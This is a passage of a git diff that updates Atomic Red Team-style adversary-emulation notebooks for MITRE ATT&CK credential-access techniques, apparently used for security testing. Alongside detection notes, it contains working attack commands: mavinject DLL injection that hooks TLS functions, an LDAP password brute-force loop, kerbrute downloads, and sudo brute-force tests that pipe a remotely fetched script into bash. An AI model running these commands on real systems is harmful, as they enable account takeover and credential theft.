including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. " } @@ -62,13 +82,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1056.003.ipynb b/playbook/tactics/credential-access/T1056.003.ipynb index 572222d7..a2880c22 100644 --- a/playbook/tactics/credential-access/T1056.003.ipynb +++ b/playbook/tactics/credential-access/T1056.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b9a9850b", + "id": "3f3df2a7", "metadata": {}, "source": "# T1056.003 - Web Portal Capture\nAdversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)" }, { "cell_type": "markdown", - "id": "a656be69", + "id": "cd1b6f99", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e3d666fa", + "id": "16766740", "metadata": {}, "source": "## Detection\nFile monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1056.004.ipynb b/playbook/tactics/credential-access/T1056.004.ipynb index fc223997..35a59f0f 100644 --- a/playbook/tactics/credential-access/T1056.004.ipynb +++ b/playbook/tactics/credential-access/T1056.004.ipynb @@ -2,50 +2,50 @@ "cells": [ { "cell_type": "markdown", - "id": "d8adc5dd", + "id": "31b4791e", "metadata": {}, "source": "# T1056.004 - Credential API Hooking\nAdversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n" }, { "cell_type": "markdown", - "id": "fd92606e", + "id": "97c8dbb3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "efb4a6be", + "id": "07a75003", "metadata": {}, - "source": "### Atomic Test #1 - Hook PowerShell TLS Encrypt/Decrypt Messages\nHooks functions in PowerShell to read TLS Communications\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: T1056.004x64.dll must exist on disk at specified location (#{file_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll\" -OutFile \"PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\" -UseBasicParsing\n\n```" + "source": "### Atomic Test #1 - Hook PowerShell TLS Encrypt/Decrypt Messages\nHooks functions in PowerShell to read TLS Communications\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: T1056.004x64.dll must exist on disk at specified location (#{file_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll\" -OutFile \"PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\" -UseBasicParsing\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "703ba301", + "id": "b0d2ce55", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f6a2488d", + "id": "a1ab10d3", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nmavinject $pid /INJECTRUNNING PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\nInvoke-WebRequest https://www.example.com -UseBasicParsing\n```" + "```powershell\nmavinject $pid /INJECTRUNNING \"PathToAtomicsFolder\\T1056.004\\bin\\T1056.004x64.dll\"\nInvoke-WebRequest https://www.example.com -UseBasicParsing\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c9898221", + "id": "f0e5ec80", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3f6b0916", + "id": "1b0be525", "metadata": {}, "source": "## Detection\nMonitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)" } @@ -53,13 +53,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1056.ipynb b/playbook/tactics/credential-access/T1056.ipynb index 87bfe7c2..7202cf6a 100644 --- a/playbook/tactics/credential-access/T1056.ipynb +++ b/playbook/tactics/credential-access/T1056.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "76f5d09b", + "id": "17d1ae38", "metadata": {}, "source": "# T1056 - Input Capture\nAdversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003))." }, { "cell_type": "markdown", - "id": "ad1ef9eb", + "id": "661c4fb9", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ae2de274", + "id": "22b92284", "metadata": {}, "source": "## Detection\nDetection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present." }, { "cell_type": "markdown", - "id": "8cfd023f", + "id": "b65f33ee", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to feed content to an adversary to influence their behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can feed decoy data to an adversary that is using a key-logger or other tool, so as to shape the encounter.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1081.ipynb b/playbook/tactics/credential-access/T1081.ipynb deleted file mode 100644 index 0a6b8d4c..00000000 --- a/playbook/tactics/credential-access/T1081.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "762b590c", - "metadata": {}, - "source": "# T1081 - Credentials in Files\nAdversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n" - }, - { - "cell_type": "markdown", - "id": "9217872b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "90fa7474", - "metadata": {}, - "source": "## Detection\nWhile detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1110.001.ipynb b/playbook/tactics/credential-access/T1110.001.ipynb index a75fdad6..6e25744c 100644 --- a/playbook/tactics/credential-access/T1110.001.ipynb +++ b/playbook/tactics/credential-access/T1110.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "cc5f1f9a", + "id": "adc84dc2", "metadata": {}, "source": "# T1110.001 - Password Guessing\nAdversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625." }, { "cell_type": "markdown", - "id": "a271f130", + "id": "06f6bef1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "641f2e08", + "id": "099b2afa", "metadata": {}, "source": [ "### Atomic Test #1 - Brute Force Credentials of single Active Directory domain users via SMB", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "232dc99b", + "id": "47b4ee6d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "917f444c", + "id": "fa3de16f", "metadata": {}, "source": [ "### Atomic Test #2 - Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos)", @@ -42,34 +42,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nif (\"NTLM\".ToLower() -NotIn @(\"ntlm\",\"kerberos\")) {\n Write-Host \"Only 'NTLM' and 'Kerberos' auth methods are supported\"\n exit 1\n}\n\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.DirectoryServices.Protocols\") | Out-Null\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\"$env:UserDnsDomain\",389)\n\n$passwordList = Get-Content -Path PathToAtomicsFolder\\T1110.001\\src\\passwords.txt\nforeach ($password in $passwordList){\n $credz = new-object System.Net.NetworkCredential(\"$ENV:USERNAME\", $password, \"$env:UserDnsDomain\")\n $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::NTLM)\n try {\n Write-Host \" [-] Attempting ${password} on account $ENV:USERNAME.\"\n $conn.bind()\n # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\n Write-Host \" [!] $ENV:USERNAME:${password} are valid credentials!\"\n } catch {\n Write-Host $_.Exception.Message\n }\n}\nWrite-Host \"End of bruteforce\"\n```" + "```powershell\nif (\"NTLM\".ToLower() -NotIn @(\"ntlm\",\"kerberos\")) {\n Write-Host \"Only 'NTLM' and 'Kerberos' auth methods are supported\"\n exit 1\n}\n\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.DirectoryServices.Protocols\") | Out-Null\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\"$env:UserDnsDomain\",389)\n\n$passwordList = Get-Content -Path \"PathToAtomicsFolder\\T1110.001\\src\\passwords.txt\"\nforeach ($password in $passwordList){\n $credz = new-object System.Net.NetworkCredential(\"$ENV:USERNAME\", $password, \"$env:UserDnsDomain\")\n $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::NTLM)\n try {\n Write-Host \" [-] Attempting ${password} on account $ENV:USERNAME.\"\n $conn.bind()\n # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\n Write-Host \" [!] $ENV:USERNAME:${password} are valid credentials!\"\n } catch {\n Write-Host $_.Exception.Message\n }\n}\nWrite-Host \"End of bruteforce\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "56610b15", + "id": "c2a232cf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d465d3f6", + "id": "b8000a5f", "metadata": {}, "source": "### Atomic Test #3 - Brute Force Credentials of single Azure AD user\nAttempt to brute force Azure AD user via AzureAD powershell module.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5fa7069d", + "id": "86a72f66", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c725407d", + "id": "19c5021c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -79,135 +79,180 @@ { "cell_type": "code", "execution_count": null, - "id": "1ad4ba24", + "id": "edf74ed4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "f16019a6", + "id": "2f4e8a06", "metadata": {}, - "source": "### Atomic Test #4 - SUDO brute force Debian\nAttempts to sudo with current user using passwords from a list. Will run sudo 3 times, each with 3 different password attempts.\nPreRequisites : debian,ubuntu,kali and pam_tally NOT configured.\nIf the password list contains the user password in last 9 entries, a sudo will be attempted and will succeed if user is in /etc/sudoers.\nThe /var/log/auth.log will show evidence of \"3 incorrect password attempts\" or \"user NOT in sudoers\"\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if running on a Debian based machine.\n\n##### Check Prereq Commands:\n```sh\nif grep -iq \"debian\\|ubuntu\\|kali\" /usr/lib/os-release; then echo \"Debian\"; else echo \"NOT Debian\"; exit 1; fi\nif grep -Rq \"pam_tally\" /etc/pam.d/*; then echo \"pam_tally configured\"; exit 1; fi\ncp PathToAtomicsFolder/T1110.001/src/passwords.txt /tmp/workingfile\ncp PathToAtomicsFolder/T1110.001/src/asker.sh /tmp/asker && chmod 755 /tmp/asker\nif [ -x \"$(command -v sudo)\" ]; then echo \"sudo installed\"; else echo \"install sudo\"; fi\n\n```\n##### Get Prereq Commands:\n```sh\napt-get update && apt-get install -y sudo\n\n```" + "source": "### Atomic Test #4 - Password Brute User using Kerbrute Tool\nBruteforce a single user's password from a wordlist\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: kerbrute.exe must exist in PathToAtomicsFolder\\..\\ExternalPayloads\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\kerbrute.exe\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\kerbrute.exe\"\n\n```\n##### Description: bruteuser.txt must exist in PathToAtomicsFolder\\..\\ExternalPayloads\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteuser.txt\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/src/bruteuser.txt?raw=true\" -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteuser.txt\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "10cd3cfc", + "id": "9f17680b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2cf6c166", + "id": "7db5fca4", "metadata": {}, "source": [ - "#### Attack Commands: Run with `sh`\n", - "```sh\nfor i in 1 2 3 ; do SUDO_ASKPASS=/tmp/asker sudo -k -A whoami && wc -l /tmp/workingfile; done\necho done\n```" + "#### Attack Commands: Run with `powershell`\n", + "```powershell\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteuser --dc $ENV:userdnsdomain -d $ENV:userdomain $env:temp\\bruteuser.txt TestUser1 \n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2a2a5cc6", + "id": "829bdbbf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1110.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "09d83c3c", + "id": "1c365b89", "metadata": {}, - "source": "#### Cleanup: \n```sh\nrm -f /tmp/asker /tmp/workingfile\n```" + "source": "### Atomic Test #5 - SUDO Brute Force - Debian\nAn adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. \n\nThis test creates the \"art\" user with a password of \"password123\", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if running on a Debian based machine.\n\n##### Check Prereq Commands:\n```bash\nif grep -iq \"debian\\|ubuntu\\|kali\\|mint\" /usr/lib/os-release; then echo \"Debian\"; else echo \"NOT Debian\"; exit 1; fi\nif grep -Rq \"pam_tally\" /etc/pam.d/*; then echo \"pam_tally configured\"; exit 1; fi\nif [ -x \"$(command -v openssl)\" ]; then echo \"openssl is installed\"; else echo \"openssl is NOT installed\"; exit 1; fi\nif [ -x \"$(command -v sudo)\" ]; then echo \"sudo is installed\"; else echo \"sudo is NOT installed\"; exit 1; fi\nif [ -x \"$(command -v curl)\" ]; then echo \"curl is installed\"; else echo \"curl is NOT installed\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\napt update && apt install -y openssl sudo curl\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7c3f8a78", + "id": "9bf33dd0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1110.001 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1110.001 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "701fcf53", + "id": "eb7ba765", "metadata": {}, - "source": "### Atomic Test #5 - SUDO brute force Redhat\nBrute force the password of a local user account which is a member of the sudo'ers group on a Redhat based Linux distribution. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if running on a Redhat based machine.\n\n##### Check Prereq Commands:\n```sh\nif grep -iq \"rhel\\|fedora\\|centos\" /usr/lib/os-release; then echo \"Redhat\"; else echo \"NOT Redhat\"; exit 1; fi\nif grep -Rq \"pam_faillock\" /etc/pam.d/*; then echo \"pam_faillock configured\"; exit 1; fi\nif [ -x \"$(command -v sudo)\" ]; then echo \"sudo installed\"; else echo \"install sudo\"; fi\nif [ -x \"$(command -v openssl)\" ]; then echo \"openssl installed\"; else echo \"install openssl\"; fi\n\n```\n##### Get Prereq Commands:\n```sh\nyum -y update && yum install -y openssl sudo\n\n```" + "source": [ + "#### Attack Commands: Run with `bash`\n", + "```bash\nuseradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art\nsu art\ncd /tmp\ncurl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh |bash\n```" + ] }, { "cell_type": "code", "execution_count": null, - "id": "458e68c3", + "id": "3fc7f19a", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1110.001 -TestNumbers 5 -GetPreReqs" + "source": "Invoke-AtomicTest T1110.001 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "ca824ce7", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nuserdel -fr art\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4ef12177", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1110.001 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "f4758e04", + "metadata": {}, + "source": "### Atomic Test #6 - SUDO Brute Force - Redhat\nAn adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. \n\nThis test creates the \"art\" user with a password of \"password123\", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if running on a Redhat based machine.\n\n##### Check Prereq Commands:\n```bash\nif grep -iq \"rhel\\|fedora\\|centos\" /usr/lib/os-release; then echo \"RedHat\"; else echo \"NOT RedHat\"; exit 1; fi\nif grep -Rq \"pam_faillock\" /etc/pam.d/*; then echo \"pam_faillock configured\"; exit 1; fi\nif [ -x \"$(command -v openssl)\" ]; then echo \"openssl is installed\"; else echo \"openssl is NOT installed\"; exit 1; fi\nif [ -x \"$(command -v sudo)\" ]; then echo \"sudo is installed\"; else echo \"sudo is NOT installed\"; exit 1; fi\nif [ -x \"$(command -v curl)\" ]; then echo \"curl is installed\"; else echo \"curl is NOT installed\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\nyum update && yum install -y openssl sudo curl\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2a619352", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1110.001 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fb60945e", + "id": "d620a37f", "metadata": {}, "source": [ - "#### Attack Commands: Run with `sh`\n", - "```sh\nuseradd -G wheel -s /bin/bash -p $(openssl passwd -1 password) target\nsu target\n\nPASSWORDS=(one two three password five); \\\n touch /tmp/file; \\\n for P in ${PASSWORDS[@]}; do \\\n date +\"%b %d %T\"; \\\n sudo -k && echo \"$P\" |sudo -S whoami &>/tmp/file; \\\n echo \"exit: $?\"; \\\n if grep -q \"root\" /tmp/file; then \\\n echo \"FOUND: sudo => $P\"; break; \\\n else \\\n echo \"TRIED: $P\"; \\\n fi; \\\n sleep 2; \\\n done; \\\n rm /tmp/file\n```" + "#### Attack Commands: Run with `bash`\n", + "```bash\nuseradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art\nsu art\ncd /tmp\ncurl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh |bash\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2e009c75", + "id": "430f0b30", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1110.001 -TestNumbers 5" + "source": "Invoke-AtomicTest T1110.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "8c8b9860", + "id": "44fdcd6a", "metadata": {}, - "source": "#### Cleanup: \n```sh\nuserdel target\n```" + "source": "#### Cleanup: \n```bash\nuserdel -fr art\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3142325e", + "id": "64a3e0e6", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1110.001 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1110.001 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "877baf67", + "id": "8b960b49", "metadata": {}, - "source": "### Atomic Test #6 - Password Brute User using Kerbrute Tool\nBruteforce a single user's password from a wordlist\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: kerbrute.exe must exist in $env:temp\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\kerbrute.exe){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe\" -outfile \"$env:temp\\kerbrute.exe\"\n\n```\n##### Description: bruteuser.txt must exist in $env:temp\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\bruteuser.txt){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest 